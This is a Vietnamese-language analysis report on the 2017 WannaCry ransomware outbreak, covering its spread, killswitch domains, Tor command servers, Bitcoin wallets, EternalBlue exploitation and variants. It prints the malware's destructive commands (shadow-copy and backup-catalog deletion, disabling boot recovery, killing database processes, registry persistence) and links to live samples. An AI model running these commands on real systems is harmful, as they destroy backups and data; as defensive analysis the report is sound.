18/09/2018, 14:42

Báo cáo tổng hợp sự kiện phát tán mã độc tống tiền WannaCry, tháng 5/2017

WannaCry đã đi qua được khoảng thời gian bùng nổ dữ dội nhất, tuy nhiên, những bài học và mối nguy hiểm của nó vẫn còn nguyên ở đó. Sau đây, Securitybox xin tóm tắt lại toàn thông tin về quá trình phát triển, phân tích của mã độc này. 1. Khái quát về mã độc tống tiền WannaCry và tầm ảnh ...

WannaCry đã đi qua được khoảng thời gian bùng nổ dữ dội nhất, tuy nhiên, những bài học và mối nguy hiểm của nó vẫn còn nguyên ở đó. Sau đây, Securitybox xin tóm tắt lại toàn thông tin về quá trình phát triển, phân tích của mã độc này.

1. Khái quát về mã độc tống tiền WannaCry và tầm ảnh hưởng

WannaCry với các tên gọi khác: WannaCrypt, WannaCryp0r, WannaDecrypt0r, là loại mã độc tống tiền với hành vi mã hóa dữ liệu trên máy nạn nhân và đòi trả tiền chuộc bằng Bitcoin. Nó hỗ trợ 28 ngôn ngữ và thực hiện mã hóa trên 179 định dạng file khác nhau.

Mã độc này được thực thi và lây nhiễm trên các máy tính chạy hệ điều hành Microsoft Windows, từ các phiên bản Windows XP cho tới Windows 10, đa số nạn nhân của WannaCry là người dùng sử dụng Windows 7.

Vào ngày 12/5/2017, cuộc tấn công không gian mạng quy mô lớn sử dụng mã độc WannaCry gây lây nhiễm trên 237.000 máy tính ở 99 quốc gia (tính tới 15/5/2017, 3 ngày sau khi WannaCry được biết đến rộng rãi), yêu cầu thanh toán khoản tiền chuộc tương đương 300 hoặc 600 USD bằng Bitcoin. Hệ thống máy tính của nhiều tổ chức lớn như: NHS (Anh), Telefónica (Tây Ban Nha), FedEx (Mỹ), Deutsche Bahn (Đức), MegaFon (Nga), Bộ Nội vụ Nga,… đã bị ảnh hưởng. Số máy tính bị lây nhiễm hiện tại đã lên đến hơn 300.000.

ma doc tong tien wannacry

mã độc WannaCry đã tấn công hơn 20 quốc gia

Cho tới thời điểm hiện tại, người ta đã biết tới 5 địa chỉ ví Bitcoin mà hacker sử dụng để nhận tiền chuộc, chưa tới 130 nạn nhân chịu trả tiền để chuộc lại mã khóa giải mã dữ liệu, với tổng giá trị tiền chuộc khoảng 30.000 USD.

Tại Việt Nam, tính tới ngày 18/5/2017, đã có hơn 1.900 máy tính bị lây nhiễm mã độc và ước lượng 52% số máy tính trong nước (khoảng 4 triệu máy) có khả năng lây nhiễm mã độc WannaCry 

Tên gọi phổ biến của WannaCry được tìm thấy trong phần chú thích mã nguồn của người viết nên mã độc này.  

2. Hành vi và cách thức lây nhiễm

Kịch bản lây nhiễm WannaCry đầu tiên

  1. WannaCry được phát tán qua việc nhúng Dropper vào file đính kèm trong email (thường là file Office hoặc PDF), các phần mềm crack, các ứng dụng tạo serial number (keygen),… Kẻ phát tán mã độc cũng có thể nhúng đường dẫn tải Dropper vào các trang web có nhiều người truy cập. Các hình thức phát tán trên có thể được thực hiện hàng loạt qua các ExploitKit.
  2. Dropper khi được thực thi sẽ tải về payload, payload này sẽ thực hiện việc tải về và cài đặt mã độc.
Dropper chứa đường dẫn tải mã độc, sau khi được biên dịch ngược

Dropper chứa đường dẫn tải mã độc, sau khi được biên dịch ngược

3. Địa chỉ máy chủ điều khiển (Command and Control servers):

Wannacry kết nối đến máy chủ thông qua dịch vụ Tor để nhận lệnh. Danh sách một số máy chủ tên miền .onion phát hiện được:

gx7ekbenv2riucmf.onion

57g7spgrzlojinas.onion

xxlvbrloxvriy2c5.onion

76jdd2ir2embyv47.onion

cwwnhwhlz52maqm7.onion

Các bước thực thi mã độc được giải thích cụ thể theo thứ tự trong sơ đồ sau:

các bước thực thi mã độc wannacry

các bước thực thi mã độc

các bước thực thi mã độc

Lây nhiễm ban đầu:

  1. Kết nối tới hxxp://www[.]iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com. Nếu kết nối thành công, mã độc sẽ không làm gì và thoát.

lây nhiễm mã độc

Killswitch đã được cài đặt bởi tác giả của mã độc như một “công tắc an toàn” trong trường hợp nó trở nên không kiểm soát được.

Killswitch lần đầu tiên được phát hiện bởi kỹ sư Darien Huss từ nhóm ProofPoint vào buổi trưa ngày 13/5/2017 (theo giờ CET). Domain name được hardcoded trong mã nguồn của WannaCry có vẻ như được nhập ngẫu nhiên từ bàn phím và tại thời điểm phát hiện killswitch, domain name này chưa được đăng ký. Gần như ngay sau đó, nhóm MalwareTech cũng phát hiện ra killswitch này và đã đăng ký domain name trên. Đã có thời điểm có tới 1.400 kết nối đồng thời request tới địa chỉ này, chỉ 10 giờ sau khi nó được đăng ký.  

Chỉ 72 giờ sau khi phát hiện killswitch trong phiên bản đầu tiên, người ta đã tìm ra 3 domain name khác trong các biến thể. Biến thể WanaDecrypt0r 2.0 về sau đã loại bỏ killswitch này và nhanh chóng lây lan trở lại.

Ifferfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com

Iuqerssodp9ifjaposdfjhgosurijfaewrwergwea[.]com

ayylmaotjhsstasdfasdfasdfasdfasdfasdfasdf[.]com

ma doc tong tien wannacry

mã độc WannaCry tiếp tục tấn công nhiều quốc gia

Tham khảo tại: http://thehackernews.com/2017/05/wannacry-ransomware-cyber-attack.html?m=1

2. Thực thi .exe ban đầu như một service mới:

   a.Nếu đối số dòng lệnh là “-m security”

  1. Mở SCmanager
  2. Tạo service mới tên “mssecsvc.exe” (Microsoft Security Center (2.0) Service) –
  3. mssecsvc2.0
  4. Chạy mssecsvc.exe
  5. Tải “tasksche.exe”
  6. Lưu C:WINDOWS asksche.exe
  7. Đổi C:WINDOWS asksche.exe thành C:WINDOWSqeriuwjhrf

  b.Nếu không, lây nhiễm qua lỗ hổng SMB ETERNALBLUE / DOUBLEPULSAR

  1. Mở SCmanager
  2. Truy cập “mssecsvc2.0”
  3. Thay đổi cấu hình service
  4. Chạy Service Ctrl Dispatcher (khai thác SMB)

a.Chạy thread chứa Payload

Chạy thread chứa Payload

Chạy thread chứa Payload

b.GetAdaptersInfo để lấy các địa chỉ IP

c. Tạo thread mới để lây nhiễm payload

wannacry2

  1. Get TCP Socket cho cổng 445 (SMB)
  2. Kết nối SMB socket và lấy SMB tree_id

a.SMB_COM_NEGOTIATE

b.Get Tree: ipc_share = “#{ip}IPC$” and

SMB_COM_TREE_CONNECT_ANDX

c.SMB_COM_TRANSACTION

3. Chạy hàm smb ms17-010 Exploit

a.do_smb_ms17_010_probe(tree_id)

b.Nếu tồn tại lỗ hổng, do_smb_doublepulsar_probe(tree_id)

Chuẩn bị Base64 Payload trong RAM

Setup gói tin SMBv1 echo

Make_smb_trans2_doublepulsar

Nếu code == 0x51, payload thành công

c.Thực thi Payload Shellcode.

d. Sau khi chạy service

Lấy thông tin tên máy tính

Tạo string ngẫu nhiên

Lấy đối số lệnh command line và kiểm tra switch “/i”

Chuẩn bị cho hành vi mã hóa:

  1. Giải nén Zip và chuẩn bị thông tin Tor và Bitcoin

Giải nén file file zip XIA với password “WNcry@2ol7”

Get c.wnry, chứa thông tin cấu hình Tor

c. Xuất thông tin cấu hình từ c.wnry để lấy danh sách onion site:

gx7ekbenv2riucmf.onion;

57g7spgrzlojinas.onion;

xxlvbrloxvriy2c5.onion;

76jdd2ir2embyv47.onion;

cwwnhwhlz52maqm7.onion;

hxxps://dist[.]torproject[.]org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip

d. Tải địa chỉ ví Bitcoin và cập nhật c.wnry:

“13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94”

“12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw”

“115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn”

4. Ẩn thư mục giải nén Zip và sửa Security Descriptors

a. Tạo tiến trình chạy lệnh ẩn thư mục hiện tại: “attrib +h . “

b. Chạy lệnh “icacls . /grant Everyone:F /T /C /Q.” cho phép mọi user có quyền truy cập cao nhất

đến thư mục hiện tại và mọi thư mục con.

5. Chuẩn bị khóa công khai để mã hóa, khóa AES, giải mã DLL

a.Tải các export với hàm getprocaddress: CreateFileW, WriteFile, ReadFile, MoveFileW,

MoveFileExW, DeleteFileW, CloseHandle

b. Set up khóa mã hóa.

1.SetUp export hàm Crypto: CryptGenKey, CryptDecrypt, CryptEncrypt,

CryptDestroyKey, CryptImportKey, CryptAcquireContextA

2.Lấy RSA_AES Cryptographic

3.Nhập khóa công khai bằng hàm CryptImportKey

BOOL WINAPI CryptImportKey(

_In_  HCRYPTPROV hProv,

_In_  BYTE *pbData,

_In_  DWORD dwDataLen, 1172B 2048 bit RSA key (See Appendix)

_In_  HCRYPTKEY  hPubKey,

_In_  DWORD dwFlags,

_Out_ HCRYPTKEY  *phKey

);

4. Lấy khóa AES từ t.wnry để giải mã DLL

WANACRY! Length 8

Read length 100h = Encrypted AES key

Read 4h = 04 00 00 00

Read 8h DLL length  = 00 00 01 00 00 00 00 00

Decrypt Encrypted AES key with Public key

Read encrypted DLL length 1000h

Decrypt DLL with custom AES-128-CBC algorithm with 16B AES Key

5. Lấy thông tin hệ thống và GetProcessHeap

6.Đẩy dữ liệu đã mã hóa vào Heap Location

7. Thay đổi thông tin protection của memory location

Thông tin giả mạo về VERSIONINFO của DLL đã bị mã hóa

Thông tin giả mạo về VERSIONINFO của DLL đã bị mã hóa

  1. Chạy DLL Export trong hàm TaskStart
  2. Tạo khóa mã hóa dùng để mã hóa dữ liệu người dùng

a.Khóa mã hóa được tạo bằng cách mã hóa khóa bí mật của người dùng với khóa công khai của

mã độc và lưu trong “%08X.eky”

b.Thử truy cập “%08X.dky” để nhận khóa giải mã

8.Tạo Mutex cho mọi luồng thực thi: GlobalMsWinZonesCacheCounterMutexW

a.Một nghiên cứu cho biết nếu mutex này tồn tại, mã độc sẽ không tiếp tục thực thi, có thể là một

hướng để chống lại WannaCry (?!)

  1. Tạo thread mới bắt đầu mã hóa file.

a. Tạo khóa AES để mã hóa file bằng hàm CryptGenKey

Mã hóa dữ liệu người dùng:

  1. Tạo luồng (thread) mới để ghi đè file trên đĩa

    a. Tạo 1 khóab.Tạo bộ đệm dữ liệu cho mỗi file

    c.Gọi hàm StartAddress để bắt đầu ghi dữ liệu mã hóa

    d.Ghi tên mở rộng “.WNCRYPT”

11.Chạy tiến trình mới taskdl.exe trong thread mới

12. Set up Decrypter Persistence:

a.Đọc file cấu hình

b.Tìm vị trí @WanaDecryptor@.exe

c.Tạo tiến trình “taskse.exe @WanaDecryptor@.exe”

d.Set khóa bền vững để sử dụng sau mỗi lần reboot

HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun

e.CheckTokenMembership, GetComputerName

f.Chạy cmd.exe /c reg add “HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun” /v

“<rand>” /t REG_SZ /d “”tasksche.exe”” /f

g.Tìm “f.wnry” (chưa rõ để làm gì)

wannacry

13.Chạy: @WanaDecryptor@.exe fi

a. Đọc file cấu hình cho Tor Client

b. Chạy Tor Client

14. Tạo @WanaDecryptor@.exe bền vững và backup:

a.Tạo Ink file @WanaDecryptor@.exe.Ink

@echo off

echo SET ow = WScript.CreateObject(“WScript.Shell”)> m.vbs

echo SET om = ow.CreateShortcut(“@WanaDecryptor@.exe.lnk”)>> m.vbs

echo om.TargetPath = “@WanaDecryptor@.exe”>> m.vbs

echo om.Save>> m.vbs

cscript.exe  //nologo m.vbs

del m.vbs

b. Ghi vào <số_nguyên_ngẫu_nhiên>.bat

1.Chạy batch script trên

2.Xóa: del /a %%0

15. Tạo Ransom Notes: @Please_Read_Me@.txt từ “r.wnry”

16. Mã hóa file, kill /database và các tiến trình liên quan đến mail server nếu đang chạy

a.Lưu UserName

b.Lấy Drive Type

c. Chạy:

taskkill.exe /f /im Microsoft.Exchange.*

taskkill.exe /f /im MSExchange*

taskkill.exe /f /im sqlserver.exe

taskkill.exe /f /im sqlwriter.exe

taskkill.exe /f /im mysqld.exe

d. Kiểm tra dung lượng đĩa trống

e. Lặp đối với tất cả các file với tên mở rộng cho trước

17. Chạy: @WanaDecryptor@.exe co

a. Ghi vào file .res được biên dịch bởi decryptor

b. Chạy Tor service: taskhsvc.exe TaskDataTor askhsvc.exe

18. Chạy: cmd.exe /c start /b @WanaDecryptor@.exe vs

Xóa các bản sao volume shadow: cmd.exe /c vssadmin delete shadows /all /quiet & wmic

a. Xóa các bản sao volume shadow: cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete &  bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet with the command: Cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete &  bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet

Chi tiết về mã hóa:

– Mỗi lây nhiễm sinh một cặp khóa RSA-2048.

– Khóa công khai được xuất và lưu trong 00000000.pky.

– Khóa bí mật được mã hóa với khóa công khai của ransomware và lưu trong 00000000.eky.

– Mỗi file được mã hóa với một khóa AES-128-CBC riêng.

– Mỗi khóa AES được sinh bởi hàm CryptGenRandom.

Các địa chỉ ví Bitcoin:

https://blockchain.info/address/13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

https://blockchain.info/address/12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

https://blockchain.info/address/115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn

Các file không bị mã hóa:

“Content.IE5”

“Temporary Internet Files”

” This folder protects against ransomware. Modifying it will reduce protection”

“Local SettingsTemp”

“AppDataLocalTemp”

“Program Files (x86)”

“Program Files”

“WINDOWS”

“ProgramData”

“Intel”

“$”

Các định dạng file bị mã hóa:

.doc, .docx, .xls, .xlsx, .ppt, .pptx, .pst, .ost, .msg, .eml, .vsd, .vsdx, .txt, .csv, .rtf, .123, .wks, .wk1, .pdf, .dwg, .onetoc2, .snt, .jpeg, .jpg, .docb, .docm, .dot, .dotm, .dotx, .xlsm, .xlsb, .xlw, .xlt, .xlm, .xlc, .xltx, .xltm, .pptm, .pot, .pps, .ppsm, .ppsx, .ppam, .potx, .potm, .edb, .hwp, .602, .sxi, .sti, .sldx, .sldm, .sldm, .vdi, .vmdk, .vmx, .gpg, .aes, .ARC, .PAQ, .bz2, .tbk, .bak, .tar, .tgz, .gz, .7z, .rar, .zip, .backup, .iso, .vcd, .bmp, .png, .gif, .raw, .cgm, .tif, .tiff, .nef, .psd, .ai, .svg, .djvu, .m4u, .m3u, .mid, .wma, .flv, .3g2, .mkv, .3gp, .mp4, .mov, .avi, .asf, .mpeg, .vob, .mpg, .wmv, .fla, .swf, .wav, .mp3, .sh, .class, .jar, .java, .rb, .asp, .php, .jsp, .brd, .sch, .dch, .dip, .pl, .vb, .vbs, .ps1, .bat, .cmd, .js, .asm, .h, .pas, .cpp, .c, .cs, .suo, .sln, .ldf, .mdf, .ibd, .myi, .myd, .frm, .odb, .dbf, .db, .mdb, .accdb, .sql, .sqlitedb, .sqlite3, .asc, .lay6, .lay, .mml, .sxm, .otg, .odg, .uop, .std, .sxd, .otp, .odp, .wb2, .slk, .dif, .stc, .sxc, .ots, .ods, .3dm, .max, .3ds, .uot, .stw, .sxw, .ott, .odt, .pem, .p12, .csr, .crt, .key, .pfx, .der

Một số string đáng chú ý:

BAYEGANSRVadministrator

Smile465666SA

wanna18@hotmail.com

Thông tin về ETERNALBLUE:

EternalBlue là kỹ thuật khai thác được phát tán bởi nhóm hacker ShadowBrokers vào ngày 14 tháng 4 năm 2017, cùng với các công cụ khác dường như đã bị rò rỉ từ Equation Group, được cho là một phần của Cơ quan An ninh Quốc gia Hoa Kỳ NSA.

EternalBlue khai thác lỗ hổng MS17-010 của giao thức SMB của Microsoft (Server Message Block). MS17-010 không phải là một lỗ hổng zero-day, Microsoft đã đưa ra một “Critical” advisory cùng với hotfix để vá lỗ hổng vào ngày 14/3/2017. Microsoft cũng đã thúc giục mọi người ngừng sử dụng giao thức SMB1 cũ và thay vào đó sử dụng giao thức SMB3 mới và an toàn hơn.

Vào ngày 12 tháng 5 năm 2017, WannaCry bắt đầu gây ảnh hưởng đến các máy tính trên toàn thế giới. Sau khi xâm nhập vào các máy tính, mã độc tống tiền mã hóa ổ đĩa cứng của máy tính, sau đó cố gắng khai thác lỗ hổng SMB để lây lan sang các máy tính ngẫu nhiên trên Internet và các máy tính trên cùng mạng LAN.

Thông tin thêm về EternalBlue tại: https://blog.comae.io/the-nsa-compromised-swift-network-50ec3000b195

Minh họa WannaCry lây nhiễm giữa các máy tính trong mạng LAN, sử dụng EternalBlue exploit: https://www.youtube.com/watch?v=I7blRhtWHNs

Minh họa WannaCry lây nhiễm giữa các máy tính trong mạng LAN

3.Các biến thể

WannaCry đã có tới 5 biến thể, khác nhau chủ yếu ở giao diện nạn nhân và thông tin tệp bị mã hóa.

DarkoderCrypt0r

Là biến thể xuất hiện sớm nhất. Biến thể này sao chép nguyên giao diện nạn nhân từ WannaCry, chỉ chỉnh sửa title, địa chỉ ví bitcoin,… DarkoderCrypt0r chỉ mã hóa các file trong thư mục Desktop của nạn nhân và file sau khi mã hóa có định dạng .DARKCRY. File thực thi của mã độc này mang tên @DaKryEncryptor@.exe.

biến thể DarkoderCrypt0r

biến thể DarkoderCrypt0r

Mẫu: https://www.virustotal.com/en/file/2ffd9ba7b5dbccf734da02498fa2a6af8caaf8b9f98d4b32bc226516eee5c832/analysis/

Thời điểm phát hiện: 14/5/2017

Aron WanaCrypt0r 2.0 Generator v1.0

Aron WanaCrypt0r 2.0 Generator v1.0 là biến thể thú vị vì nó cho phép hacker tùy chỉnh giao diện như chèn text, ảnh, thay đổi màu cho thêm sinh động. Tới thời điểm hiện tại (Generator v1.0), nó chỉ cho phép hacker tùy biến giao diện, nhưng có thể trong phiên bản tiếp theo, hacker có thể tùy biến cả cách thực thi?!

Aron WanaCrypt0r 2.0 Generator v1.0

Mẫu: https://www.virustotal.com/en/file/b46c6addef8894d5079f592152481d259338175806eb9a983ddb8edb9ec5aa44/analysis/

Thời điểm phát hiện: 14/5/2017

Wanna Crypt v2.5

Biến thể này vẫn đang trong giai đoạn phát triển rất sơ sài.

biến thể Wanna Crypt v2.5

biến thể Wanna Crypt v2.5

Mẫu: https://www.virustotal.com/en/file/925b3acaa3252bf4d660eab22856fff155f3106c2fee7567711cb34374b499f3/analysis/

Ngày phát hiện: 14/5/2017

WannaCrypt 4.0

Cũng như WannaCrypt v2.5, WannaCrypt 4.0 đang trong giai đoạn phát triển và chưa mã hóa bất kì thứ gì. Ngôn ngữ giao tiếp mặc định của mẫu mã độc này lại là tiếng Thái Lan

WannaCrypt 4.0

WannaCrypt 4.0

Mẫu: https://www.virustotal.com/en/file/cd7542f2d7f2285ab524a57bc04ae1ad9306a15b9efbf56ea7b002d99d4b974f/analysis/

Thời điểm phát hiện: 14/5/2017

Wana Decrypt0r 2.0

Biến thể phổ biến và nguy hiểm hơn cả. Biến thế này được biên dịch và xây dựng file thực thi với tên tiến trình là diskpart.exe để ngụy trang là trình quản lý ổ đĩa của Windows nhằm đánh lừa nạn nhân.

Wana Decrypt0r 2.0

Wana Decrypt0r 2.0

Mẫu: https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100

Thời điểm phát hiện: 15/5/2017
Cập nhật thêm tại: https://github.com/fabrimagic72/malware-samples/tree/master/Ransomware/Wannacry

4.Tác giả của WannaCry

Có nhiều nguồn tin thảo luận về tác giả thực sự của WannaCry.

  • Theo bài phân tích của ZScaler tại https://www.zscaler.com/blogs/corporate/wannacry-20-ransomware-attacks-continue, có một chuỗi địa chỉ thư mục trong mã nguồn của WanaDecrypt0r 2.0 chứa tên tác giả của nó.

Twitter của Cazanova163: https://twitter.com/cazanova163

Không ngoại trừ khả năng đây là một trường hợp ném đá giấu tay

0